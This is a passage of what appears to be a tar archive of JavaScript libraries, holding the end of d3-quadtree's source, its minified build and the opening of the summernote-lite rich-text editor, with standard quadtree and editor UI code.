d; x3 = x + d, y3 = y + d; data = node.data; } } } return data; } function tree_remove(d) { if (isNaN(x = +this._x.call(null, d)) || isNaN(y = +this._y.call(null, d))) return this; // ignore invalid points var parent, node = this._root, retainer, previous, next, x0 = this._x0, y0 = this._y0, x1 = this._x1, y1 = this._y1, x, y, xm, ym, right, bottom, i, j; // If the tree is empty, initialize the root as a leaf. if (!node) return this; // Find the leaf node for the point. // While descending, also retain the deepest parent with a non-removed sibling. if (node.length) while (true) { if (right = x >= (xm = (x0 + x1) / 2)) x0 = xm; else x1 = xm; if (bottom = y >= (ym = (y0 + y1) / 2)) y0 = ym; else y1 = ym; if (!(parent = node, node = node[i = bottom << 1 | right])) return this; if (!node.length) break; if (parent[(i + 1) & 3] || parent[(i + 2) & 3] || parent[(i + 3) & 3]) retainer = parent, j = i; } // Find the point to remove. while (node.data !== d) if (!(previous = node, node = node.next)) return this; if (next = node.next) delete node.next; // If there are multiple coincident points, remove just the point. if (previous) return (next ? previous.next = next : delete previous.next), this; // If this is the root point, remove it. if (!parent) return this._root = next, this; // Remove this leaf. next ? parent[i] = next : delete parent[i]; // If the parent now contains exactly one leaf, collapse superfluous parents. if ((node = parent[0] || parent[1] || parent[2] || parent[3]) && node === (parent[3] || parent[2] || parent[1] || parent[0]) && !node.length) { if (retainer) retainer[j] = node; else this._root = node; } return this; } function removeAll(data) { for (var i = 0, n = data.length; i < n; ++i) this.remove(data[i]); return this; } function tree_root() { return this._root; } function tree_size() { var size = 0; this.visit(function(node) { if (!node.length) do ++size; while (node = node.next) }); return size; } function tree_visit(callback) { var quads = [], q, node = this._root, child, x0, y0, x1, y1; if (node) quads.push(new Quad(node, this._x0, this._y0, this._x1, this._y1)); while (q = quads.pop()) { if (!callback(node = q.node, x0 = q.x0, y0 = q.y0, x1 = q.x1, y1 = q.y1) && node.length) { var xm = (x0 + x1) / 2, ym = (y0 + y1) / 2; if (child = node[3]) quads.push(new Quad(child, xm, ym, x1, y1)); if (child = node[2]) quads.push(new Quad(child, x0, ym, xm, y1)); if (child = node[1]) quads.push(new Quad(child, xm, y0, x1, ym)); if (child = node[0]) quads.push(new Quad(child, x0, y0, xm, ym)); } } return this; } function tree_visitAfter(callback) { var quads = [], next = [], q; if (this._root) quads.push(new Quad(this._root, this._x0, this._y0, this._x1, this._y1)); while (q = quads.pop()) { var node = q.node; if (node.length) { var child, x0 = q.x0, y0 = q.y0, x1 = q.x1, y1 = q.y1, xm = (x0 + x1) / 2, ym = (y0 + y1) / 2; if (child = node[0]) quads.push(new Quad(child, x0, y0, xm, ym)); if (child = node[1]) quads.push(new Quad(child, xm, y0, x1, ym)); if (child = node[2]) quads.push(new Quad(child, x0, ym, xm, y1)); if (child = node[3]) quads.push(new Quad(child, xm, ym, x1, y1)); } next.push(q); } while (q = next.pop()) { callback(q.node, q.x0, q.y0, q.x1, q.y1); } return this; } function defaultX(d) { return d[0]; } function tree_x(_) { return arguments.length ? (this._x = _, this) : this._x; } function defaultY(d) { return d[1]; } function tree_y(_) { return arguments.length ? (this._y = _, this) : this._y; } function quadtree(nodes, x, y) { var tree = new Quadtree(x == null ? defaultX : x, y == null ? defaultY : y, NaN, NaN, NaN, NaN); return nodes == null ? tree : tree.addAll(nodes); } function Quadtree(x, y, x0, y0, x1, y1) { this._x = x; this._y = y; this._x0 = x0; this._y0 = y0; this._x1 = x1; this._y1 = y1; this._root = undefined; } function leaf_copy(leaf) { var copy = {data: leaf.data}, next = copy; while (leaf = leaf.next) next = next.next = {data: leaf.data}; return copy; } var treeProto = quadtree.prototype = Quadtree.prototype; treeProto.copy = function() { var copy = new Quadtree(this._x, this._y, this._x0, this._y0, this._x1, this._y1), node = this._root, nodes, child; if (!node) return copy; if (!node.length) return copy._root = leaf_copy(node), copy; nodes = [{source: node, target: copy._root = new Array(4)}]; while (node = nodes.pop()) { for (var i = 0; i < 4; ++i) { if (child = node.source[i]) { if (child.length) nodes.push({source: child, target: node.target[i] = new Array(4)}); else node.target[i] = leaf_copy(child); } } } return copy; }; treeProto.add = tree_add; treeProto.addAll = addAll; treeProto.cover = tree_cover; treeProto.data = tree_data; treeProto.extent = tree_extent; treeProto.find = tree_find; treeProto.remove = tree_remove; treeProto.removeAll = removeAll; treeProto.root = tree_root; treeProto.size = tree_size; treeProto.visit = tree_visit; treeProto.visitAfter = tree_visitAfter; treeProto.x = tree_x; treeProto.y = tree_y; exports.quadtree = quadtree; Object.defineProperty(exports, '__esModule', { value: true }); }))); d3-quadtree.min.js000064400000012475151677323100010020 0ustar00// https://d3js.org/d3-quadtree/ v1.0.5 Copyright 2018 Mike Bostock !function(t,i){"object"==typeof exports&&"undefined"!=typeof module?i(exports):"function"==typeof define&&define.amd?define(["exports"],i):i(t.d3=t.d3||{})}(this,function(t){"use strict";function i(t,i,e,r){if(isNaN(i)||isNaN(e))return t;var n,h,s,o,a,u,l,_,f,y=t._root,x={data:r},c=t._x0,d=t._y0,v=t._x1,p=t._y1;if(!y)return t._root=x,t;for(;y.length;)if((u=i>=(h=(c+v)/2))?c=h:v=h,(l=e>=(s=(d+p)/2))?d=s:p=s,n=y,!(y=y[_=l<<1|u]))return n[_]=x,t;if(o=+t._x.call(null,y.data),a=+t._y.call(null,y.data),i===o&&e===a)return x.next=y,n?n[_]=x:t._root=x,t;do{n=n?n[_]=new Array(4):t._root=new Array(4),(u=i>=(h=(c+v)/2))?c=h:v=h,(l=e>=(s=(d+p)/2))?d=s:p=s}while((_=l<<1|u)==(f=(a>=s)<<1|o>=h));return n[f]=y,n[_]=x,t}function e(t,i,e,r,n){this.node=t,this.x0=i,this.y0=e,this.x1=r,this.y1=n}function r(t){return t[0]}function n(t){return t[1]}function h(t,i,e){var h=new s(null==i?r:i,null==e?n:e,NaN,NaN,NaN,NaN);return null==t?h:h.addAll(t)}function s(t,i,e,r,n,h){this._x=t,this._y=i,this._x0=e,this._y0=r,this._x1=n,this._y1=h,this._root=void 0}function o(t){for(var i={data:t.data},e=i;t=t.next;)e=e.next={data:t.data};return i}var a=h.prototype=s.prototype;a.copy=function(){var t,i,e=new s(this._x,this._y,this._x0,this._y0,this._x1,this._y1),r=this._root;if(!r)return e;if(!r.length)return e._root=o(r),e;for(t=[{source:r,target:e._root=new Array(4)}];r=t.pop();)for(var n=0;n<4;++n)(i=r.source[n])&&(i.length?t.push({source:i,target:r.target[n]=new Array(4)}):r.target[n]=o(i));return e},a.add=function(t){var e=+this._x.call(null,t),r=+this._y.call(null,t);return i(this.cover(e,r),e,r,t)},a.addAll=function(t){var e,r,n,h,s=t.length,o=new Array(s),a=new Array(s),u=1/0,l=1/0,_=-1/0,f=-1/0;for(r=0;r<s;++r)isNaN(n=+this._x.call(null,e=t[r]))||isNaN(h=+this._y.call(null,e))||(o[r]=n,a[r]=h,n<u&&(u=n),n>_&&(_=n),h<l&&(l=h),h>f&&(f=h));for(_<u&&(u=this._x0,_=this._x1),f<l&&(l=this._y0,f=this._y1),this.cover(u,l).cover(_,f),r=0;r<s;++r)i(this,o[r],a[r],t[r]);return this},a.cover=function(t,i){if(isNaN(t=+t)||isNaN(i=+i))return this;var e=this._x0,r=this._y0,n=this._x1,h=this._y1;if(isNaN(e))n=(e=Math.floor(t))+1,h=(r=Math.floor(i))+1;else{if(!(e>t||t>n||r>i||i>h))return this;var s,o,a=n-e,u=this._root;switch(o=(i<(r+h)/2)<<1|t<(e+n)/2){case 0:do{(s=new Array(4))[o]=u,u=s}while(h=r+(a*=2),t>(n=e+a)||i>h);break;case 1:do{(s=new Array(4))[o]=u,u=s}while(h=r+(a*=2),(e=n-a)>t||i>h);break;case 2:do{(s=new Array(4))[o]=u,u=s}while(r=h-(a*=2),t>(n=e+a)||r>i);break;case 3:do{(s=new Array(4))[o]=u,u=s}while(r=h-(a*=2),(e=n-a)>t||r>i)}this._root&&this._root.length&&(this._root=u)}return this._x0=e,this._y0=r,this._x1=n,this._y1=h,this},a.data=function(){var t=[];return this.visit(function(i){if(!i.length)do{t.push(i.data)}while(i=i.next)}),t},a.extent=function(t){return arguments.length?this.cover(+t[0][0],+t[0][1]).cover(+t[1][0],+t[1][1]):isNaN(this._x0)?void 0:[[this._x0,this._y0],[this._x1,this._y1]]},a.find=function(t,i,r){var n,h,s,o,a,u,l,_=this._x0,f=this._y0,y=this._x1,x=this._y1,c=[],d=this._root;for(d&&c.push(new e(d,_,f,y,x)),null==r?r=1/0:(_=t-r,f=i-r,y=t+r,x=i+r,r*=r);u=c.pop();)if(!(!(d=u.node)||(h=u.x0)>y||(s=u.y0)>x||(o=u.x1)<_||(a=u.y1)<f))if(d.length){var v=(h+o)/2,p=(s+a)/2;c.push(new e(d[3],v,p,o,a),new e(d[2],h,p,v,a),new e(d[1],v,s,o,p),new e(d[0],h,s,v,p)),(l=(i>=p)<<1|t>=v)&&(u=c[c.length-1],c[c.length-1]=c[c.length-1-l],c[c.length-1-l]=u)}else{var w=t-+this._x.call(null,d.data),N=i-+this._y.call(null,d.data),g=w*w+N*N;if(g<r){var A=Math.sqrt(r=g);_=t-A,f=i-A,y=t+A,x=i+A,n=d.data}}return n},a.remove=function(t){if(isNaN(h=+this._x.call(null,t))||isNaN(s=+this._y.call(null,t)))return this;var i,e,r,n,h,s,o,a,u,l,_,f,y=this._root,x=this._x0,c=this._y0,d=this._x1,v=this._y1;if(!y)return this;if(y.length)for(;;){if((u=h>=(o=(x+d)/2))?x=o:d=o,(l=s>=(a=(c+v)/2))?c=a:v=a,i=y,!(y=y[_=l<<1|u]))return this;if(!y.length)break;(i[_+1&3]||i[_+2&3]||i[_+3&3])&&(e=i,f=_)}for(;y.data!==t;)if(r=y,!(y=y.next))return this;return(n=y.next)&&delete y.next,r?(n?r.next=n:delete r.next,this):i?(n?i[_]=n:delete i[_],(y=i[0]||i[1]||i[2]||i[3])&&y===(i[3]||i[2]||i[1]||i[0])&&!y.length&&(e?e[f]=y:this._root=y),this):(this._root=n,this)},a.removeAll=function(t){for(var i=0,e=t.length;i<e;++i)this.remove(t[i]);return this},a.root=function(){return this._root},a.size=function(){var t=0;return this.visit(function(i){if(!i.length)do{++t}while(i=i.next)}),t},a.visit=function(t){var i,r,n,h,s,o,a=[],u=this._root;for(u&&a.push(new e(u,this._x0,this._y0,this._x1,this._y1));i=a.pop();)if(!t(u=i.node,n=i.x0,h=i.y0,s=i.x1,o=i.y1)&&u.length){var l=(n+s)/2,_=(h+o)/2;(r=u[3])&&a.push(new e(r,l,_,s,o)),(r=u[2])&&a.push(new e(r,n,_,l,o)),(r=u[1])&&a.push(new e(r,l,h,s,_)),(r=u[0])&&a.push(new e(r,n,h,l,_))}return this},a.visitAfter=function(t){var i,r=[],n=[];for(this._root&&r.push(new e(this._root,this._x0,this._y0,this._x1,this._y1));i=r.pop();){var h=i.node;if(h.length){var s,o=i.x0,a=i.y0,u=i.x1,l=i.y1,_=(o+u)/2,f=(a+l)/2;(s=h[0])&&r.push(new e(s,o,a,_,f)),(s=h[1])&&r.push(new e(s,_,a,u,f)),(s=h[2])&&r.push(new e(s,o,f,_,l)),(s=h[3])&&r.push(new e(s,_,f,u,l))}n.push(i)}for(;i=n.pop();)t(i.node,i.x0,i.y0,i.x1,i.y1);return this},a.x=function(t){return arguments.length?(this._x=t,this):this._x},a.y=function(t){return arguments.length?(this._y=t,this):this._y},t.quadtree=h,Object.defineProperty(t,"__esModule",{value:!0})}); summernote-lite.js000064400001071413151677331550010257 0ustar00/** * Super simple wysiwyg editor v0.8.10 * https://summernote.org * * Copyright 2013- Alan Hong. and other contributors * summernote may be freely distributed under the MIT license. * * Date: 2018-02-20T00:34Z */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('jquery')) : typeof define === 'function' && define.amd ? define(['jquery'], factory) : (factory(global.jQuery)); }(this, (function ($$1) { 'use strict'; $$1 = $$1 && $$1.hasOwnProperty('default') ? $$1['default'] : $$1; var Renderer = /** @class */ (function () { function Renderer(markup, children, options, callback) { this.markup = markup; this.children = children; this.options = options; this.callback = callback; } Renderer.prototype.render = function ($parent) { var $node = $$1(this.markup); if (this.options && this.options.contents) { $node.html(this.options.contents); } if (this.options && this.options.className) { $node.addClass(this.options.className); } if (this.options && this.options.data) { $$1.each(this.options.data, function (k, v) { $node.attr('data-' + k, v); }); } if (this.options && this.options.click) { $node.on('click', this.options.click); } if (this.children) { var $container_1 = $node.find('.note-children-container'); this.children.forEach(function (child) { child.render($container_1.length ? $container_1 : $node); }); } if (this.callback) { this.callback($node, this.options); } if (this.options && this.options.callback) { this.options.callback($node); } if ($parent) { $parent.append($node); } return $node; }; return Renderer; }()); var renderer = { create: function (markup, callback) { return function () { var options = typeof arguments[1] === 'object' ? arguments[1] : arguments[0]; var children = $$1.isArray(arguments[0]) ? arguments[0] : []; if (options && options.children) { children = options.children; } return new Renderer(markup, children, options, callback); }; } }; var TooltipUI = /** @class */ (function () { function TooltipUI($node, options) { this.$node = $node; this.options = $.extend({}, { title: '', target: options.container, trigger: 'hover focus', placement: 'bottom' }, options); // create tooltip node this.$tooltip = $([ '<div class="note-tooltip in">', ' <div class="note-tooltip-arrow"/>', ' <div class="note-tooltip-content"/>', '</div>' ].join('')); // define event if (this.options.trigger !== 'manual') { var showCallback_1 = this.show.bind(this); var hideCallback_1 = this.hide.bind(this); var toggleCallback_1 = this.toggle.bind(this); this.options.trigger.split(' ').forEach(function (eventName) { if (eventName === 'hover') { $node.off('mouseenter mouseleave'); $node.on('mouseenter', showCallback_1).on('mouseleave', hideCallback_1); } else if (eventName === 'click') { $node.on('click', toggleCallback_1); } else if (eventName === 'focus') { $node.on('focus', showCallback_1).on('blur', hideCallback_1); } }); } } TooltipUI.prototype.show = function () { var $node = this.$node; var offset = $node.offset(); var $tooltip = this.$tooltip; var title = this.options.title || $node.attr('title') || $node.data('title'); var placement = this.options.placement || $node.data('placement'); $tooltip.addClass(placement); $tooltip.addClass('in'); $tooltip.find('.note-tooltip-content').text(title); $tooltip.appendTo(this.options.target); var nodeWidth = $node.outerWidth(); var nodeHeight = $node.outerHeight(); var tooltipWidth = $tooltip.outerWidth(); var tooltipHeight = $tooltip.outerHeight(); if (placement === 'bottom') { $tooltip.css({ top: offset.top + nodeHeight, left: offset.left + (nodeWidth / 2 - tooltipWidth / 2) }); } else if (placement === 'top') { $tooltip.css({ top: offset.top - tooltipHeight, left: offset.left + (nodeWidth / 2 - tooltipWidth / 2) }); } else if (placement === 'left') { $tooltip.css({ top: offset.top + (nodeHeight / 2 - tooltipHeight / 2), left: offset.left - tooltipWidth }); } else if (placement === 'right') { $tooltip.css({ top: offset.top + (nodeHeight / 2 - tooltipHeight / 2), left: offset.left + nodeWidth }); } }; TooltipUI.prototype.hide = function () { this.$tooltip.removeClass('in'); this.$tooltip.remove(); }; TooltipUI.prototype.toggle = function () { if (this.$tooltip.hasClass('in')) { this.hide(); } else { this.show(); } }; return TooltipUI; }()); var DropdownUI = /** @class */ (function () { function DropdownUI($node, options) { this.$button = $node; this.options = $.extend({}, { target: options.container }, options); this.setEvent(); } DropdownUI.prototype.setEvent = function () { this.$button.on('click', this.toggle.bind(this)); }; DropdownUI.prototype.clear = function () { var $parent = $('.note-btn-group.open'); $parent.find('.note-btn.active').removeClass('active'); $parent.removeClass('open'); }; DropdownUI.prototype.show = function () { this.$button.addClass('active'); this.$button.parent().addClass('open'); var $dropdown = this.$button.next(); var offset = $dropdown.offset(); var width = $dropdown.outerWidth(); var windowWidth = $(window).width(); var targetMarginRight = parseFloat($(this.options.target).css('margin-right')); if (offset.left + width > windowWidth - targetMarginRight) { $dropdown.css('margin-left', windowWidth - targetMarginRight - (offset.left + width)); } else { $dropdown.css('margin-left', ''); } }; DropdownUI.prototype.hide = function () { this.$button.removeClass('active'); this.$button.parent().removeClass('open'); }; DropdownUI.prototype.toggle = function () { var isOpened = this.$button.parent().hasClass('open'); this.clear(); if (isOpened) { this.hide(); } else { this.show(); } }; return DropdownUI; }()); $(document).on('click', function (e) { if (!$(e.target).closest('.note-btn-group').length) { $('.note-btn-group.open').removeClass('open'); } }); $(document).on('click.note-dropdown-menu', function (e) { $(e.target).closest('.note-dropdown-menu').parent().removeClass('open'); }); var ModalUI = /** @class */ (function () { function ModalUI($node, options) { this.options = $.extend({}, { target: options.container || 'body' }, options); this.$modal = $node; this.$backdrop = $('<div class="note-modal-backdrop" />'); } ModalUI.prototype.show = function () { if (this.options.target === 'body') { this.$backdrop.css('position', 'fixed'); this.$modal.css('position', 'fixed'); } else { this.$backdrop.css('position', 'absolute'); this.$modal.css('position', 'absolute'); } this.$backdrop.appendTo(this.options.target).show(); this.$modal.appendTo(this.options.target).addClass('open').show(); this.$modal.trigger('note.modal.show'); this.$modal.off('click', '.close').on('click', '.close', this.hide.bind(this)); }; ModalUI.prototype.hide = function () { this.$modal.removeClass('open').hide(); this.$backdrop.hide(); this.$modal.trigger('note.modal.hide'); }; return ModalUI; }()); var editor = renderer.create('<div class="note-editor note-frame"/>'); var toolbar = renderer.create('<div class="note-toolbar" role="toolbar"/>'); var editingArea = renderer.create('<div class="note-editing-area"/>'); var codable = renderer.create('<textarea class="note-codable" role="textbox" aria-multiline="true"/>'); var editable = renderer.create('<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>'); var statusbar = renderer.create([ '<output class="note-status-output" role="status" aria-live="polite"/>', '<div class="note-statusbar" role="resize">', ' <div class="note-resizebar" role="seperator" aria-orientation="horizontal" aria-label="resize">', ' <div class="note-icon-bar"/>', ' <div class="note-icon-bar"/>', ' <div class="note-icon-bar"/>', ' </div>', '</div>' ].join('')); var airEditor = renderer.create('<div class="note-editor"/>'); var airEditable = renderer.create([ '<output class="note-status-output" role="status" aria-live="polite"/>', '<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>' ].join('')); var buttonGroup = renderer.create('<div class="note-btn-group">'); var button = renderer.create('<button type="button" class="note-btn" role="button" tabindex="-1">', function ($node, options) { // set button type if (options && options.tooltip) { $node.attr({ 'aria-label': options.tooltip }); $node.data('_lite_tooltip', new TooltipUI($node, { title: options.tooltip, container: options.container })); } if (options.contents) { $node.html(options.contents); } if (options && options.data && options.data.toggle === 'dropdown') { $node.data('_lite_dropdown', new DropdownUI($node, { container: options.container })); } }); var dropdown = renderer.create('<div class="note-dropdown-menu" role="list">', function ($node, options) { var markup = $.isArray(options.items) ? options.items.map(function (item) { var value = (typeof item === 'string') ? item : (item.value || ''); var content = options.template ? options.template(item) : item; var $temp = $('<a class="note-dropdown-item" href="#" data-value="' + value + '" role="listitem" aria-label="' + item + '"></a>'); $temp.html(content).data('item', item); return $temp; }) : options.items; $node.html(markup).attr({ 'aria-label': options.title }); $node.on('click', '> .note-dropdown-item', function (e) { var $a = $(this); var item = $a.data('item'); var value = $a.data('value'); if (item.click) { item.click($a); } else if (options.itemClick) { options.itemClick(e, item, value); } }); }); var dropdownCheck = renderer.create('<div class="note-dropdown-menu note-check" role="list">', function ($node, options) { var markup = $.isArray(options.items) ? options.items.map(function (item) { var value = (typeof item === 'string') ? item : (item.value || ''); var content = options.template ? options.template(item) : item; var $temp = $('<a class="note-dropdown-item" href="#" data-value="' + value + '" role="listitem" aria-label="' + item + '"></a>'); $temp.html([icon(options.checkClassName), ' ', content]).data('item', item); return $temp; }) : options.items; $node.html(markup).attr({ 'aria-label': options.title }); $node.on('click', '> .note-dropdown-item', function (e) { var $a = $(this); var item = $a.data('item'); var value = $a.data('value'); if (item.click) { item.click($a); } else if (options.itemClick) { options.itemClick(e, item, value); } }); }); var dropdownButtonContents = function (contents, options) { return contents + ' ' + icon(options.icons.caret, 'span'); }; var dropdownButton = function (opt, callback) { return buttonGroup([ button({ className: 'dropdown-toggle', contents: opt.title + ' ' + icon('note-icon-caret'), tooltip: opt.tooltip, data: { toggle: 'dropdown' } }), dropdown({ className: opt.className, items: opt.items, template: opt.template, itemClick: opt.itemClick }) ], { callback: callback }).render(); }; var dropdownCheckButton = function (opt, callback) { return buttonGroup([ button({ className: 'dropdown-toggle', contents: opt.title + ' ' + icon('note-icon-caret'), tooltip: opt.tooltip, data: { toggle: 'dropdown' } }), dropdownCheck({ className: opt.className, checkClassName: opt.checkClassName, items: opt.items, template: opt.template, itemClick: opt.itemClick }) ], { callback: callback }).render(); }; var paragraphDropdownButton = function (opt) { return buttonGroup([ button({ className: 'dropdown-toggle', contents: opt.title + ' ' + icon('note-icon-caret'), tooltip: opt.tooltip, data: { toggle: 'dropdown' } }), dropdown([ buttonGroup({ className: 'note-align', children: opt.items[0] }), buttonGroup({ className: 'note-list', children: opt.items[1] }) ]) ]).render(); }; var tableMoveHandler = function (event, col, row) { var PX_PER_EM = 18; var $picker = $(event.target.parentNode); // target is mousecatcher var $dimensionDisplay = $picker.next(); var $catcher = $picker.find('.note-dimension-picker-mousecatcher'); var $highlighted = $picker.find('.note-dimension-picker-highlighted'); var $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted'); var posOffset; // HTML5 with jQuery - e.offsetX is undefined in Firefox if (event.offsetX === undefined) { var posCatcher = $(event.target).offset(); posOffset = { x: event.pageX - posCatcher.left, y: event.pageY - posCatcher.top }; } else { posOffset = { x: event.offsetX, y: event.offsetY }; } var dim = { c: Math.ceil(posOffset.x / PX_PER_EM) || 1, r: Math.ceil(posOffset.y / PX_PER_EM) || 1 }; $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' }); $catcher.data('value', dim.c + 'x' + dim.r); if (dim.c > 3 && dim.c < col) { $unhighlighted.css({ width: dim.c + 1 + 'em' }); } if (dim.r > 3 && dim.r < row) { $unhighlighted.css({ height: dim.r + 1 + 'em' }); } $dimensionDisplay.html(dim.c + ' x ' + dim.r); }; var tableDropdownButton = function (opt) { return buttonGroup([ button({ className: 'dropdown-toggle', contents: opt.title + ' ' + icon('note-icon-caret'), tooltip: opt.tooltip, data: { toggle: 'dropdown' } }), dropdown({ className: 'note-table', items: [ '<div class="note-dimension-picker">', ' <div class="note-dimension-picker-mousecatcher" data-event="insertTable" data-value="1x1"/>', ' <div class="note-dimension-picker-highlighted"/>', ' <div class="note-dimension-picker-unhighlighted"/>', '</div>', '<div class="note-dimension-display">1 x 1</div>' ].join('') }) ], { callback: function ($node) { var $catcher = $node.find('.note-dimension-picker-mousecatcher'); $catcher.css({ width: opt.col + 'em', height: opt.row + 'em' }) .mousedown(opt.itemClick) .mousemove(function (e) { tableMoveHandler(e, opt.col, opt.row); }); } }).render(); }; var palette = renderer.create('<div class="note-color-palette"/>', function ($node, options) { var contents = []; for (var row = 0, rowSize = options.colors.length; row < rowSize; row++) { var eventName = options.eventName; var colors = options.colors[row]; var colorsName = options.colorsName[row]; var buttons = []; for (var col = 0, colSize = colors.length; col < colSize; col++) { var color = colors[col]; var colorName = colorsName[col]; buttons.push([ '<button type="button" class="note-btn note-color-btn"', 'style="background-color:', color, '" ', 'data-event="', eventName, '" ', 'data-value="', color, '" ', 'title="', colorName, '" ', 'aria-label="', colorName, '" ', 'data-toggle="button" tabindex="-1"></button>' ].join('')); } contents.push('<div class="note-color-row">' + buttons.join('') + '</div>'); } $node.html(contents.join('')); $node.find('.note-color-btn').each(function () { $(this).data('_lite_tooltip', new TooltipUI($(this), { container: options.container })); }); }); var colorDropdownButton = function (opt, type) { return buttonGroup({ className: 'note-color', children: [ button({ className: 'note-current-color-button', contents: opt.title, tooltip: opt.lang.color.recent, click: opt.currentClick, callback: function ($button) { var $recentColor = $button.find('.note-recent-color'); if (type !== 'foreColor') { $recentColor.css('background-color', '#FFFF00'); $button.attr('data-backColor', '#FFFF00'); } } }), button({ className: 'dropdown-toggle', contents: icon('note-icon-caret'), tooltip: opt.lang.color.more, data: { toggle: 'dropdown' } }), dropdown({ items: [ '<div>', '<div class="note-btn-group btn-background-color">', ' <div class="note-palette-title">' + opt.lang.color.background + '</div>', ' <div>', '<button type="button" class="note-color-reset note-btn note-btn-block" ' + ' data-event="backColor" data-value="inherit">', opt.lang.color.transparent, ' </button>', ' </div>', ' <div class="note-holder" data-event="backColor"/>', '</div>', '<div class="note-btn-group btn-foreground-color">', ' <div class="note-palette-title">' + opt.lang.color.foreground + '</div>', ' <div>', '<button type="button" class="note-color-reset note-btn note-btn-block" ' + ' data-event="removeFormat" data-value="foreColor">', opt.lang.color.resetToDefault, ' </button>', ' </div>', ' <div class="note-holder" data-event="foreColor"/>', '</div>', '</div>' ].join(''), callback: function ($dropdown) { $dropdown.find('.note-holder').each(function () { var $holder = $(this); $holder.append(palette({ colors: opt.colors, eventName: $holder.data('event') }).render()); }); if (type === 'fore') { $dropdown.find('.btn-background-color').hide(); $dropdown.css({ 'min-width': '210px' }); } else if (type === 'back') { $dropdown.find('.btn-foreground-color').hide(); $dropdown.css({ 'min-width': '210px' }); } }, click: function (event) { var $button = $(event.target); var eventName = $button.data('event'); var value = $button.data('value'); if (eventName && value) { var key = eventName === 'backColor' ? 'background-color' : 'color'; var $color = $button.closest('.note-color').find('.note-recent-color'); var $currentButton = $button.closest('.note-color').find('.note-current-color-button'); $color.css(key, value); $currentButton.attr('data-' + eventName, value); if (type === 'fore') { opt.itemClick('foreColor', value); } else if (type === 'back') { opt.itemClick('backColor', value); } else { opt.itemClick(eventName, value); } } } }) ] }).render(); }; var dialog = renderer.create('<div class="note-modal" aria-hidden="false" tabindex="-1" role="dialog"/>', function ($node, options) { if (options.fade) { $node.addClass('fade'); } $node.attr({ 'aria-label': options.title }); $node.html([ ' <div class="note-modal-content">', (options.title ? ' <div class="note-modal-header">' + ' <button type="button" class="close" aria-label="Close" aria-hidden="true"><i class="note-icon-close"></i></button>' + ' <h4 class="note-modal-title">' + options.title + '</h4>' + ' </div>' : ''), ' <div class="note-modal-body">' + options.body + '</div>', (options.footer ? ' <div class="note-modal-footer">' + options.footer + '</div>' : ''), ' </div>' ].join('')); $node.data('modal', new ModalUI($node, options)); }); var videoDialog = function (opt) { var body = '<div class="note-form-group">' + '<label class="note-form-label">' + opt.lang.video.url + ' <small class="text-muted">' + opt.lang.video.providers + '</small>' + '</label>' + '<input class="note-video-url note-input" type="text" />' + '</div>'; var footer = [ '<button type="button" href="#" class="note-btn note-btn-primary note-video-btn disabled" disabled>', opt.lang.video.insert, '</button>' ].join(''); return dialog({ title: opt.lang.video.insert, fade: opt.fade, body: body, footer: footer }).render(); }; var imageDialog = function (opt) { var body = '<div class="note-form-group note-group-select-from-files">' + '<label class="note-form-label">' + opt.lang.image.selectFromFiles + '</label>' + '<input class="note-note-image-input note-input" type="file" name="files" accept="image/*" multiple="multiple" />' + opt.imageLimitation + '</div>' + '<div class="note-form-group" style="overflow:auto;">' + '<label class="note-form-label">' + opt.lang.image.url + '</label>' + '<input class="note-image-url note-input" type="text" />' + '</div>'; var footer = [ '<button href="#" type="button" class="note-btn note-btn-primary note-btn-large note-image-btn disabled" disabled>', opt.lang.image.insert, '</button>' ].join(''); return dialog({ title: opt.lang.image.insert, fade: opt.fade, body: body, footer: footer }).render(); }; var linkDialog = function (opt) { var body = '<div class="note-form-group">' + '<label class="note-form-label">' + opt.lang.link.textToDisplay + '</label>' + '<input class="note-link-text note-input" type="text" />' + '</div>' + '<div class="note-form-group">' + '<label class="note-form-label">' + opt.lang.link.url + '</label>' + '<input class="note-link-url note-input" type="text" value="http://" />' + '</div>' + (!opt.disableLinkTarget ? '<div class="checkbox">' + '<label>' + '<input type="checkbox" checked> ' + opt.lang.link.openInNewWindow + '</label>' + '</div>' : ''); var footer = [ '<button href="#" type="button" class="note-btn note-btn-primary note-link-btn disabled" disabled>', opt.lang.link.insert, '</button>' ].join(''); return dialog({ className: 'link-dialog', title: opt.lang.link.insert, fade: opt.fade, body: body, footer: footer }).render(); }; var popover = renderer.create([ '<div class="note-popover bottom">', ' <div class="note-popover-arrow"/>', ' <div class="note-popover-content note-children-container"/>', '</div>' ].join(''), function ($node, options) { var direction = typeof options.direction !== 'undefined' ? options.direction : 'bottom'; $node.addClass(direction).hide(); if (options.hideArrow) { $node.find('.note-popover-arrow').hide(); } }); var checkbox = renderer.create('<div class="checkbox"></div>', function ($node, options) { $node.html([ ' <label' + (options.id ? ' for="' + options.id + '"' : '') + '>', ' <input role="checkbox" type="checkbox"' + (options.id ? ' id="' + options.id + '"' : ''), (options.checked ? ' checked' : ''), ' aria-checked="' + (options.checked ? 'true' : 'false') + '"/>', (options.text ? options.text : ''), '</label>' ].join('')); }); var icon = function (iconClassName, tagName) { tagName = tagName || 'i'; return '<' + tagName + ' class="' + iconClassName + '"/>'; }; var ui = { editor: editor, toolbar: toolbar, editingArea: editingArea, codable: codable, editable: editable, statusbar: statusbar, airEditor: airEditor, airEditable: airEditable, buttonGroup: buttonGroup, button: button, dropdown: dropdown, dropdownCheck: dropdownCheck, dropdownButton: dropdownButton, dropdownButtonContents: dropdownButtonContents, dropdownCheckButton: dropdownCheckButton, paragraphDropdownButton: paragraphDropdownButton, tableDropdownButton: tableDropdownButton, colorDropdownButton: colorDropdownButton, palette: palette, dialog: dialog, videoDialog: videoDialog, imageDialog: imageDialog, linkDialog: linkDialog, popover: popover, checkbox: checkbox, icon: icon, toggleBtn: function ($btn, isEnable) { $btn.toggleClass('disabled', !isEnable); $btn.attr('disabled', !isEnable); }, toggleBtnActive: function ($btn, isActive) { $btn.toggleClass('active', isActive); }, check: function ($dom, value) { $dom.find('.checked').removeClass('checked'); $dom.find('[data-value="' + value + '"]').addClass('checked'); }, onDialogShown: function ($dialog, handler) { $dialog.one('note.modal.show', handler); }, onDialogHidden: function ($dialog, handler) { $dialog.one('note.modal.hide', handler); }, showDialog: function ($dialog) { $dialog.data('modal').show(); }, hideDialog: function ($dialog) { $dialog.data('modal').hide(); }, /** * get popover content area * * @param $popover * @returns {*} */ getPopoverContent: function ($popover) { return 